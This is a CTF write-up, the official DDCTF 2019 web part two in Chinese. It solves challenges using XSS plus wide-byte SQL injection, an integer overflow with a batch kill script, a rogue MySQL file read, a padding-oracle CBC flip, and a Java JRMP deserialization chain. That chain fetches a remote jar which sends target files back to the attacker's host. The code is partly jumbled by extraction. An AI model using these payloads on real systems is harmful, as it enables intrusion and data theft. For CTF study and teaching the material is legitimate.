【知识库】DDCTF2019官方Write Up——Web篇(二)

百家 作者:滴滴安全应急响应中心 2019-04-27 06:10:40

官方writeup公布时间线



Web作者:cl0und

成都信息工程大学/大三/Web Top1


文章目录

Web  Write Up(所有题目均含出题人解析)

0x05 :欢迎报名DDCTF

0x06 :大吉大利,今晚吃鸡~

0x07 :mysql弱口令

0x08 :再来1杯Java


0x01 :滴~(见第一篇)

0x02 :WEB 签到题(见第一篇)

0x03 :Upload-IMG(见第一篇)

0x04 :homebrew event loop(见第一篇)

05

欢迎报名DDCTF

这道题目其实比较简单,题目一开始是一个报名页面,很多同学可能会尝试注入,注入失败后,应该能想到XSS。事实上点击提交后弹出框框,也是一种隐形的提示,这里XSS的目的不是获取cookie,而是查看源码。源码中有一个隐藏的API接口,这个接口存在宽字节注入漏洞,而且可以根据GBK也能想到宽字节注入。事实上这个题目,使用Beaf和Sqlmap,即可轻松解决。一方面考察了选手的基本能力,另一方面,也考察了选手对一些常用工具的灵活运用。

--------------选手Write Up--------------

题目链接:http://117.51.147.2/Ze02pQYLf5gGNyMn/

之前一直各种测sql注入没反应,后来祭出了万能poc,发现是xss

App"/>6lsz939vedevmdegkun2wnzb52bszh.burpcollaborator.ne t/">
'${9*9}[!--+*)(&

用在线xss平台可以打到后台网页源码,页面源码中泄漏了一个接口。

http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id
=1

当时一直卡在这里,遍历了id没反应,用xss测试之前发现的几个页面也没有发现(知道本题结做完       我都不知道login.php干嘛的)。后来等到提示说是注入,注意到泄露的这个接返回的 content-

type 是gbk,猜测这里是宽子节注入,手测没测出来,试试sqlmap的神秘力量。

inject.txt

GET /Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%df* HTTP/1.1 Host: 117.51.147.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/2 0100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://117.51.147.2/Ze02pQYLf5gGNyMn/ Connection: close
Upgrade-Insecure-Requests: 1

sqlmap跑一波

python sqlmap.py -r inject.txt --level 3

最后dump字段的时候sqlmap忽然开始盲注了,为了尽快做出来直接用sqlmap的payload手注了一

06

大吉大利,今晚吃鸡~

 出题思路

本题来自于某个thrif版本在golang和java通信时 整数溢出导致精度丢失的问题,期望选手可以思考一下golang的订单系统 和java的支付系统之间的调用逻辑.


官方write_up

 一开始这题我给的是150分~因为作为我个人来说 我还是更期望 大部分选手能成功拿到分数,也期待看到多种不同的解法,所以在上线的时候 修改一些逻辑(比如注册,之前的预设是在ddctf平台直接给参数跳转),另外 部署在mysql同一台服务器 也是故意希望参赛选手可以通过任意文件读取 读一下代码 看看出题人真正想看到什么样的 write_up,不过很可惜的是,参赛选手上交的writeup 并没有出现出题人希望看到的解法,并且一致抱怨跑脚本看运气~


 官方预设解法

 1、通过int32整数溢出 获得ticket,通过md5 hash扩展攻击,通过删除自己的回显破解出key的长度,最后通过md5 hash扩展攻击移除机器人

 2、通过mysql那道题 读取源码拿到flag (并不是bug)

3、通过批量注册遍历hash值解题。

4、通过越权直接读参赛选手的get_ticket接口解题。

解题思路很多,一开始以为大部分人会按照给的提示用hash扩展的方法先把题目解了,再去想其他办法~没想到最后收到的write up如出一辙

--------------选手Write Up--------------

题目链接:http://117.51.147.155:5050/index.html#/login

经过测试订单的钱可以改只要大于1000就可以,最后购买的时候在处理32-64位之间的整数时,会取到低32位。凭票入场之后就是吃鸡战场,每一个入场的选手都会又一个id和ticket,输入别人的就可以让人数减一。手快不如工具快,老汉能把青年赛,放脚本批量注册小号批量杀就可以了。

import requests import json import time import uuid import hashlib

proxies = {'http':'127.0.0.1:8080'}

def create_md5(): m=hashlib.md5()
m.update(bytes(str(time.time()))) return m.hexdigest()

def register_pay():

session = requests.Session()
paramsGet = {"name":create_md5(),"password":create_md5()} print(paramsGet)
headers = {"Accept":"application/json","User-Agent":"Mozilla/5.0 (Maci ntosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Refere r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
response = session.get("http://117.51.147.155:5050/ctf/api/register", params=paramsGet, headers=headers, proxies=proxies)

time.sleep(0.5)

print(session.cookies)
#print("Status code:    %i" % response.status_code) #print("Response body: %s" % response.content)
paramsGet = {"ticket_price":"4294967296"}
headers = {"Accept":"application/json","User-Agent":"Mozilla/5.0 (Maci ntosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Refere r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
response = session.get("http://117.51.147.155:5050/ctf/api/buy_ticket"
, params=paramsGet, headers=headers, proxies=proxies)

time.sleep(0.5)
#print("Status code:    %i" % response.status_code) #print("Response body: %s" % response.content)

headers = {"Accept":"application/json","User-Agent":"Mozilla/5.0 (Maci ntosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Refere r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
response = session.get("http://117.51.147.155:5050/ctf/api/search_bill
_info"
, headers=headers, proxies=proxies) # print(response.text)

bill_id = json.loads(response.text)['data'][0]["bill_id"]

time.sleep(0.5)
#print("Status code:    %i" % response.status_code) #print("Response body: %s" % response.content)

paramsGet = {"bill_id":bill_id}
headers = {"Accept":"application/json","User-Agent":"Mozilla/5.0 (Maci ntosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Refere r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
response = session.get("http://117.51.147.155:5050/ctf/api/pay_ticket"
, params=paramsGet, headers=headers, proxies=proxies) #print("Status code:    %i" % response.status_code) #print("Response body: %s" % response.content) time.sleep(0.5)
headers = {"Accept":"application/json","Cache-Control":"max-age=0","Us er-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20 100101 Firefox/66.0","Referer":"http://117.51.147.155:5050/index.html","Co nnection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gz ip, deflate"}
response = session.get("http://117.51.147.155:5050/ctf/api/search_tick et", headers=headers, proxies=proxies)

#print("Status code:    %i" % response.status_code) #print("Response body: %s" % response.content) #print(response.text)
id = json.loads(response.text)['data'][0]['id']
ticket = json.loads(response.text)['data'][0]['ticket'] print(id, ticket)
return id,ticket

def kill(id, ticket): time.sleep(0.5)
session = requests.Session()

paramsGet = {"ticket":ticket,"id":id}
headers = {"Accept":"application/json","User-Agent":"Mozilla/5.0 (Maci ntosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Refere r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"REVEL_SESSION":"3b2bacbee8fb18e1b1457171b422999d","user_na me":"cl0und"}
response = session.get("http://117.51.147.155:5050/ctf/api/remove_robo t", params=paramsGet, headers=headers, cookies=cookies)

print("Status code:    %i" % response.status_code) print("Response body: %s" % response.content)


if   name     == ' main 'while True:

try:


id, ticket = register_pay() kill(id, ticket) time.sleep(0.5)

except Exception as e: print e

杀完之后就有flag



06

大吉大利,今晚吃鸡~ 非预期解法

赛后看了其他师傅的wp,发现有些师傅以为这道考的是golang的整形溢出+批量kill小号,其实看到出题人的源码之后才知道。出题人是用python(flask)模拟了一个golang整形溢出的web环境,并且     吃鸡战场的本意是想考hash长度扩展攻击(心情复杂.jpg)。发现这点原因是通过读mysql那道题的 .bash_history 可以发现出题人把这两道题放在同一台服务器上的。

 

实际读一下,可以发现web2对应的是mysql题


web1对应的是吃鸡题


在/home/dc2user/ctf_web_1/web_1/app/main/views.py 可以把部分主干代码都读出来(工具问题,换个工具应该可以读全),这里已经有可以看到flag了

# coding=utf-8

from flask import jsonify, request,redirect from app import mongodb
from app.unitis.tools import get_md5, num64_to_32
from app.main.db_tools import get_balance, creat_env_db, search_bill, secr ity_key, get_bill_id
import uuid
from urllib import unquote mydb = mongodb.db
flag = '''DDCTF{chiken_dinner_hyMCX[n47Fx)}'''

def register():

result = []
user_name = request.args.get('name') password = request.args.get('password')

if not user_name or not password:
response = jsonify({"code"404"msg""参数不能为空""data": []}) return response
if not len(password)>=8:
response = jsonify({"code"404"msg""密码必须大于等于8位""data"
: []})
return response
else:
hash_val = get_md5(user_name, 'DDCTF_2019')



name}):

if not mydb.get_collection('account').find_one({'user_name': user_

mydb.get_collection('account').insert_one({'user_name': user_n

ame, 'password' :password, 'balance'100,

l, 'flag''test'})


'hash_val': hash_va




result})

tmp_result = {'user_name': user_name, 'account'100} result.append(tmp_result)
response = jsonify({"code"200"msg""用户注册成功""data":

response.set_cookie('user_name', user_name) response.set_cookie('REVEL_SESSION', hash_val) response.headers['Server'] = 'Caddy'
return response



[]})

else:
response = jsonify({"code"404"msg""用户已存在""data":

response.set_cookie('user_name', user_name) response.set_cookie('REVEL_SESSION', hash_val) response.headers['Server'] = 'Caddy'
return response


def login():

result = []
user_name = request.args.get('name') password = request.args.get('password')

if not user_name or not password:
response = jsonify({"code"404"msg""参数不能为空""data": []}) return response
if not mydb.get_collection('account').find_one({'user_name': user_nam e}):


lt})

response = jsonify({"code"404"msg""该用户未注册""data": resu

return response

if not password == mydb.get_collection('account').find_one({'user_nam e': user_name})['password']:
response = jsonify({"code"404"msg""密码错误""data": resul

t})


return response else:
hash_val = mydb.get_collection('account').find_one({'user_name': u

ser_name})['hash_val']
response = jsonify({"code"200"msg""登陆成功""data": resul

t})


response.set_cookie('user_name', user_name) response.set_cookie('REVEL_SESSION', hash_val) response.headers['Server'] = 'Caddy'
return response


def get_user_balance(): result = []
user_name = request.cookies.get('user_name') hash_val = request.cookies.get('REVEL_SESSION'if not user_name or not hash_val:
response = jsonify({"code"404"msg""您未登陆""data": []})
response.headers['Server'] = 'Caddy' return response
else:
str_md5 = get_md5(user_name, 'DDCTF_2019'if hash_val == str_md5:
balance = get_balance(user_name) bill_id    = get_bill_id(user_name)
tmp_dic = {'balance': balance , 'bill_id': bill_id} result.append(tmp_dic)
return jsonify({"code"200"msg""查询成功""data": resul

t})


else:
return jsonify({"code"404"msg""参数错误""data": []})


def buy_ticket():

result = []
user_name =  request.cookies.get('user_name') hash_val = request.cookies.get('REVEL_SESSION') ticket_price = int(request.args.get('ticket_price')) if not user_name or not hash_val or not ticket_price:
response = jsonify({"code"404"msg""参数错误""data": []})
response.headers['Server'] = 'Caddy' return response

str_md5 = get_md5(user_name, 'DDCTF_2019'if hash_val != str_md5:
response = jsonify({"code"404"msg""登陆信息有误""data": []})
response.headers['Server'] = 'Caddy' return response

if ticket_price <  1000:
response = jsonify({"code"200"msg""ticket门票价格为2000""da ta": []})
response.headers['Server'] = 'Caddy' return response
if search_bill(user_name): tmp_list = []
bill_tmp = {'bill_id': search_bill(user_name)} tmp_list.append(bill_tmp)
response = jsonify({"code"200"msg""请支付未完成订单""data":
tmp_list})
response.headers['Server'] = 'Caddy' return response
else:
# 生成uuid 保存订单
hash_id = str(uuid.uuid4())
tmp_dic = {'user_name': user_name, 'ticket_price': ticket_price, 'bill_id': hash_id}
mydb.get_collection('bill').insert_one(tmp_dic) result.append({'user_name': user_name, 'ticket_price': ticket_pric
e, 'bill_id': hash_id})
response = jsonify({"code"200"msg""购买门票成功""data": resu

lt})


response.headers['Server'] = 'Caddy' return response


def search_bill_info(): result = []
user_name = request.cookies.get('user_name') hash_val = request.cookies.get('REVEL_SESSION'if not user_name or not hash_val:
response = jsonify({"code"404"msg""您未登陆""data": []})
response.headers['Server'] = 'Caddy' return response
else:
str_md5 = get_md5(user_name, 'DDCTF_2019'if hash_val == str_md5:
tmp = mydb.get_collection('bill').find_one({'user_name': user_

name})


esult})


if not tmp:
return jsonify({"code"200"msg""不存在订单""data": r

bill_id = tmp['bill_id'] user_name =user_name
bill_price = tmp['ticket_price']
tmp_dic = {'user_name': user_name, 'bill_id': bill_id, 'bill_p

rice'
: bill_price}
result.append(tmp_dic)
return jsonify({"code"200"msg""查询成功""data": resul

t})


else:
return jsonify({"code"404"msg""参数错误""data": []})




def recall_bill():

result = []
user_name = request.cookies.get('user_name') hash_val = request.cookies.get('REVEL_SESSION') bill_id = request.args.get('bill_id')
if not user_name or not hash_val:
response = jsonify({"code"404"msg""参数不能为空""data": []}) response.headers['Server'] = 'Caddy'
return response

str_md5 = get_md5(user_name, 'DDCTF_2019'if hash_val != str_md5:
response = jsonify({"code"404"msg""登陆信息有误""data": []})
response.headers['Server'] = 'Caddy' return response

tmp =mydb.get_collection('bill').find_one({'bill_id': bill_id}) if not tmp:
response = jsonify({"code"404"msg""订单号不存在""data": []})
response.headers['Server'] = 'Caddy' return response
if tmp['user_name'] != user_name:
response = jsonify({"code"404"msg""订单号不存在""data": []}) response.headers['Server'] = 'Caddy'
return response else:
mydb.get_collection('bill').delete_one({'bill_id': bill_id}) tmp_result = {'user_name': tmp['user_name'], 'bill_id': tmp['bill_
id'
], 'ticket_price': tmp['ticket_price']} result.append(tmp_result)
response = jsonify({"code"200"msg""订单已取消""data": resul

t})


response.headers['Server'] = 'Caddy' return response



def pay_ticket():

result = []
user_name = request.cookies.get('user_name') hash_val = request.cookies.get('REVEL_SESSION') bill_id = request.args.get('bill_id')
if not user_name or not hash_val or not bill_id:
response = jsonify({"code"404"msg""参数不能为空""data": []}) response.headers['Pay-Server'] = 'Apache-Coyote/1.1'
response.headers['X-Powered-By'] = ' Servlet/3.0' return response

str_md5 = get_md5(user_name, 'DDCTF_2019')

if hash_val != str_md5:
response = jsonify({"code"404"msg""登陆信息有误""data": []}) response.headers['Pay-Server'] = 'Apache-Coyote/1.1' response.headers['X-Powered-By'] = ' Servlet/3.0'
return response
tmp_obj = mydb.get_collection('bill').find_one({'bill_id':bill_id}) if not tmp_obj:
response = jsonify({"code"404"msg""订单信息有误""data": []})
response.headers['Pay-Server'] = 'Apache-Coyote/1.1' response.headers['X-Powered-By'] = ' Servlet/3.0' return response
tmp_price = mydb.get_collection('bill').find_one({'user_name': user_na me})['ticket_price']
tmp_bill_uuid = mydb.get_collection('bill').find_one({'bill_id': bill_ id})['bill_id']
price = num64_to_32(tmp_price)
tmp_account = mydb.get_collection('account').find_one({'user_name': us er_name})['balance']
if tmp_bill_uuid == bill_id: if tmp_account >= price:
if mydb.get_collection('user_env').find_one({'user_name': user
_name}):
tmp = mydb.get_collection('user_env').find_one({'user_nam
e'
: user_name})['user_info_list']
for item in tmp:
if item['user_name'] == user_name: result.append(item)
else:
pass
response = jsonify({"code"200"msg""已购买ticket",

"data": result})


response.headers['Pay-Server'] = 'Apache-Coyote/1.1' response.headers['X-Powered-By'] = ' Servlet/3.0'

return response else:
account = tmp_account - price mydb.get_collection('account').update_one({'user_name': us
er_name}, {'$set': {'balance': account}},



d})

upsert=True) mydb.get_collection('bill').delete_one({'bill_id': bill_i

tmp_info = creat_env_db(user_name) mydb.get_collection('user_env').insert_one(tmp_info[0]) tmp_result = {'your_ticket': tmp_info[1]['hash_val'], 'you

r_id'
: tmp_info[1]['id']}
result.append(tmp_result)
response = jsonify({"code"200"msg""交易成功""data":

result})



else:


response.headers['Pay-Server'] = 'Apache-Coyote/1.1' response.headers['X-Powered-By'] = ' Servlet/3.0' return response


[]})



else:

response = jsonify({"code"200"msg""余额不足""data":

response.headers['Pay-Server'] = 'Apache-Coyote/1.1' response.headers['X-Powered-By'] = ' Servlet/3.0' return response

response = jsonify({"code"200"msg""订单信息有误""data": []}) response.headers['Pay-Server'] = 'Apache-Coyote/1.1' response.headers['X-Powered-By'] = ' Servlet/3.0'
return response

def is_login():
user_name = request.cookies.get('user_name') hash_val = request.cookies.get('REVEL_SESSION'if not user_name or not hash_val:
response = jsonify({"code"404"msg""参数不能为空""data": []})
response.headers['Server'] = 'Caddy' return response

str_md5 = get_md5(user_name, 'DDCTF_2019'if hash_val != str_md5:
response = jsonify({"code"404"msg""登陆信息有误""data": []})
response.headers['Server'] = 'Caddy' return response
response = jsonify({"code"200"msg""您已登陆""data": []})
return response


def search_ticket(): result = []
user_name = request.cookies.get('user_name') hash_val = request.cookies.get('REVEL_SESSION'if not user_name or not hash_val:
response = jsonify({"code"404"msg""参数不能为空""data": []})
response.headers['Server'] = 'Caddy' return response

str_md5 = get_md5(user_name, 'DDCTF_2019'if hash_val != str_md5:
response = jsonify({"code"404"msg""登陆信息有误""data": []})
response.headers['Server'] = 'Caddy' return response

tmp = mydb.get_collection('user_env').find_one({'user_name': user_nam
e})

if not tmp:
response = jsonify({"code"404"msg""你还未获取入场券""data":

[]})


response.headers['Server'] = 'Caddy' return response

if tmp:
tmp_dic = {'ticket': tmp['player_info']['hash_val'], 'id': tmp['pl ayer_info']['id']}
result.append(tmp_dic)
response = jsonify({"code"200"msg""ticket信息""data": resu

lt})


response.headers['Server'] = 'Caddy' return response



def remove_robot():

result = [] sign_str = ''
user_name = request.cookies.get('user_name') hash_val = request.cookies.get('REVEL_SESSION') a =  request.environ['QUERY_STRING'] params_list = []
for item in a.split('&'): k, v = item.split('=')
params_list.append((k, v))

user_id = request.args.get('id') ticket = request.args.get('ticket')

if not user_name or not hash_val or not user_id or not ticket: response = jsonify({"code"404"msg""参数错误""data": []}) response.headers['Server'] = 'Caddy'
return response

# if not str.isdigit(user_id):
#    return jsonify({"code": 0, "msg": "参数错误", "data": []})

str_md5 = get_md5(user_name, 'DDCTF_2019'if hash_val != str_md5:
response = jsonify({"code"404"msg""登陆信息有误"


读一下tools.py可以看到出题人费劲心机模拟golang,看样子也是想考hash长度扩展攻击的


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2/1/2019 10:47 PM
# @Author    : fz # @Site    :
# @File    : tools.py # @Software: PyCharm

import decimal import datetime import types import hashlib

from flask.json import JSONEncoder from urllib import unquote
from urllib import quote_plus
secrity_key = 'Winner, winner, chicken dinner!' def pretty_floats(obj):
if isinstance(obj, float) or isinstance(obj, decimal.Decimal): return round(obj, 2)
elif isinstance(obj, dict):
return dict((k, pretty_floats(v)) for k, v in obj.iteritems()) elif isinstance(obj, (list, tuple)):
return map(pretty_floats, obj) return obj


# 空值变为0
def pretty_data(obj):
if isinstance(obj, types.NoneType) or obj == ""return 0
elif isinstance(obj, dict):
return dict((k, pretty_data(v)) for k, v in obj.iteritems()) elif isinstance(obj, (list, tuple)):
return map(pretty_data, obj) return obj

class CustomJSONEncoder(JSONEncoder): def default(self, obj):
try:


ime.date):

if isinstance(obj, datetime.datetime) or isinstance(obj, datet

encoded_object = obj.strftime('%Y-%m-%d'return encoded_object
iterable = iter(obj)

except TypeError: pass
else:
return list(iterable)
return JSONEncoder.default(self, obj)


#
def percent_div(up,  down): if up == 0 or up is None:
return 0
try:
return round((up / down) * 1002)
except ZeroDivisionError: return 0

#
def num64_to_32(num):

str_num =  bin(num) if len(str_num) > 66:
return False
if 34 <  len(str_num) < 66: str_64 = str_num[-32:] result = int(str_64, 2return result
if len(str_num) <   34: result = int(str_num, 2return result
#
def get_md5(string, secret_key): m = hashlib.md5() m.update(secret_key+string) return m.hexdigest()


if   name     == " main ":

print get_md5('id137''Winner, winner, chicken dinner!'print get_md5('id80', secrity_key)
str = unquote('id80%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0 0%00%00%00%00%18%01%00%00%00%00%00%00id51')
str_new = secrity_key + str print str_new
print ('''id80x80x00x00x00x00x00x00x00x00x00x00x00x00x00
x00x00x00x00x00x00x00x18x01x00x00x00x00x00x00id51'''
print quote_plus('''
'''
)

07

mysql弱口令

出题思路

本题思路是源于某次蓝军工作反攻扫描器的思路~ 本题本来预设的分数是200,所以一般设定为了解了mysql 任意文件读取的即可获得分数。

/* 本题出现了未预期解法,通过读.mysql_history,从而不需要去拿到路径这是预期之外的解法*/


官方write_up

1、通过读 .bash_history 拿到文件路径,获得提示,读取数据库文件拿到flag

2、提示最多的解法竟然没有人发现。。。curl的本地ssrf打mysql。

例子:

http://117.51.147.155:5000/ctf/api/weak_scan?target_ip=150.109.106.49&target_port=3306

--------------选手Write Up--------------

题目链接:http://117.51.147.155:5000/index.html#/scan

题目的逻辑大概是,在vps运行agent.py,这个服务器会列出vps上的进程信息,然后在题目页面输入自己mysql的端口号,扫描器会先来访问agent.py监听端口check是否会有mysqld进程,如果有那   么进行弱口令测试。

 

这种反击mysql扫描器的思路感觉之前已经被出过很几次了,最早看到的中文分析文章是lightless师     傅的这篇

https://lightless.me/archives/read-mysql-client-file.html

具体的工具可以参看这篇https://www.freebuf.com/vuls/188910.html 打一个poc

set mysql.server.infile /etc/passwd; mysql.server off; mysql.server on;

读取三种常见的history .bash_history (这里有个非预期后面会讲), .vim_history ,

.mysql.history 。

mysql历史里面有flag

08

再来1杯Java

本题思路是基于现在广泛使用的`Spring Boot`框架抽象提取的业务场景。考点`Padding Oracle`出题失误,把明文显示出来了,造成选手直接构造CBC翻转攻击的独特解法,很赞。`反序列化漏洞`的考点,本来想去掉SerialKiller工具里面关于`JRMP`防护部分,题目测试时候发现可以直接绕过,也就没改、加大了难度。考察漏洞攻击理解的同时,通过限制命令执行操作,着重考察了同学们的Java编程能力。做出题目的2位同学用的思路都不一样,都很棒。希望做过这道题目的同学能够从中学到一些知识,而不执著于题目本身。

--------------选手Write Up--------------


题目链接:

116.85.48.104 c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com

在 /api/account_info 可以看到权限信息

bae64解密token可以看到token的提示是 oracle padding cbc


这里思路应该是通过padding oracle把 roleAdmin 改为true,具体思路是使用精心构造的iv控制第一段解密出的明文,用第二段密文控制第三段明文内容,中间的脏字符从第一段和第三段明文中匀出          双引号包裹,大概样子如下图。

这种思路下其实还是超长了,当时想的苟一苟把true改成1,结果就可以了(java不是强类型吗?是

fastjson的问题?),脚本如下

from Crypto.Util.strxor import strxor from base64 import *
import requests
#pip install pycrypto


def xor(a, b):
return chr(ord(a)^ord(b))

def get_source_code(url, cipher): session = requests.Session() session.cookies['token'] = cipher web = session.get(url)
return web.text

url = 'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/acco unt_info'

str = 'UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF'

token = b64decode(str)


iv = token[:16] C1 = token[16:32] C2 = token[32:]
raw_iv = 'PadOracle:iv/cbc'

json = '{"id":100,"roleAdmin":false}' D_C1 = strxor(json[:16], raw_iv)


cipher = strxor(strxor(iv, json[:16]), '{"roleAdmin":1,"')+C1+strxor(strxo r(C2, strxor(D_C1, C2)), '":"1","id":001}'+chr(1))+C1
cipher = b64encode(cipher)
state = get_source_code(url, cipher) print state
print cipher

抓包改一下即可来到管理员界面

其中1.txt给了一些hint

同时filename存在任意文件读取漏洞,跑一下常见路径可以拿到一份源码泄漏

审计一下代码可以看到虽然项目使用的是有漏洞的commons-collections并且还存在一个明显的反    序列化点,不过不幸的是在反序列化之前用SerialKiller对反序列化出来的类做了黑名单处理。

 

一开始的思路是用最近出的工具gadget-inspector.jar自动化寻找新的gadget,但是没有找到。。。

等到中午的时候官方放了提示说是利用 jrmp ,在先知上找到一片文章Weblogic JRMP反序列化漏洞回顾,在CVE-2018-?那里作者给出了一个payload我发现稍微改一下打到服务器那边就会有反应。

import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingE xception;
import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import javax.management.remote.rmi.RMIConnectionImpl_Stub; import javax.naming.ConfigurationException;
import java.io.ByteArrayOutputStream; import java.io.IOException;
import java.io.ObjectOutputStream; import java.rmi.server.ObjID; import java.util.Random;

public class Poc {
public static void main(String[] args) throws IOExceptionClassNotFou ndExceptionConfigurationExceptionBase64DecodingException {

String hostint porthost = "ip"; port = 1099;

ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false))RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);




t);

ByteArrayOutputStream out = new ByteArrayOutputStream()ObjectOutputStream objectOutputStream = new ObjectOutputStream(ou

objectOutputStream.writeObject(stub);


System.out.println(java.util.Base64.getEncoder().encodeToString(ou t.toByteArray()).toString());
}
}

服务器监听可以成功接受到请求


下面要做的就是用ysoserial开一个jrmp监听,把真正的payload回传给服务器。虽然构造用的

gadget是走commons-collections但是这里不过serialkiller所以不会被拦截。因为之前提示说过这个


环境不能执行命令,所以需要自己在ysoserial中自定义个一个反射链,随风师傅博客中提到的

classloder方案

最后代码如下

package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections;

import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field;
import java.util.HashMap; import java.util.Map;

/*
Gadget chain:
ObjectInputStream.readObject() AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet() AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform()
Method.invoke() Class.getMethod()
InvokerTransformer.transform() Method.invoke()
Runtime.getRuntime() InvokerTransformer.transform()
Method.invoke() Runtime.exec()

Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager

https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b 3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
SuppressWarnings({"rawtypes""unchecked"})
PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections7 extends PayloadRunner implements ObjectPa yload< BadAttributeValueExpException> {

public BadAttributeValueExpException getObject(final String fileName) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
// getConstructor class.class classname new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } })
,
// newinstance string http://www.iswin.org/attach/iswin.jar new InvokerTransformer(
"newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { new java.net.URL[] { new jav

a.net.URL(




}),


"http://ip:8080/getflag2.jar") } } }),
// loadClass String.class R
new InvokerTransformer("loadClass",
new Class[] { String.class }, new Object[] { "getflag2"

// set the target reverse ip and port new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class } }),
// invoke
new InvokerTransformer("newInstance", new Class[] { Object[].class },
new Object[] { new String[] { fileName } }), new ConstantTransformer(1) };


final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpExcept ion(null);
Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true);
valfield.set(val, entry);

Reflections.setFieldValue(transformerChain, "iTransformers", trans formers); // arm with actual transformer chain

return val;
}

public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections7.class, args);
}

public static boolean isApplicableJavaVersion() { return JavaVersion.isBadAttrValExcReadObj();
}

}


重新打包后丢到自己的vps上,顺便在在vps打包一个getflag2.jar Getflag2.java

import java.io.*; import java.net.Socket;

public class Getflag2 {
public Getflag2(String fileName) { try {

Socket socket = new Socket("ip"8080);
OutputStream socketOutputStream = socket.getOutputStream();
DataOutputStream dataOutputStream = new DataOutputStream(socke tOutputStream);

File file = new File(fileName);

if (file.isDirectory()) {
for (File temp : file.listFiles()) { dataOutputStream.writeUTF(temp.toString());




e);

}
else {
FileInputStream fileInputStream = new FileInputStream(fil

InputStreamReader inputStreamReader = new InputStreamReade

r(fileInputStream);
BufferedReader bufferedReader = new BufferedReader(inputSt
reamReader)
;

String line;
while ((line = bufferedReader.readLine()) != null) { dataOutputStream.writeUTF(line);
}
}
dataOutputStream.flush();


} catch (FileNotFoundException e) { e.printStackTrace();
} catch (IOException e) { e.printStackTrace();
}
}
}

然后在服务端上开一个web服务提供getflag2.jar的下载,再开一个jrmp就可以看是随缘读flag了。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1 099 CommonsCollections7 '/etc/passwd'

 最后找到flag在根目录的flag文件夹下

补充说明

为什么ObjId没有被拦截,比赛时能打就没管了,如果分析错了请师傅们指正,表象是ObJid是并没有在序列化内容里面

本质上是最后序列化的点在 RemoteObject 里面执行了 writeObject

在 RemoteObject 这里 ref 是传入的 UnicastRef 对象

跟踪进入 UnicastRef 的 writeExternal
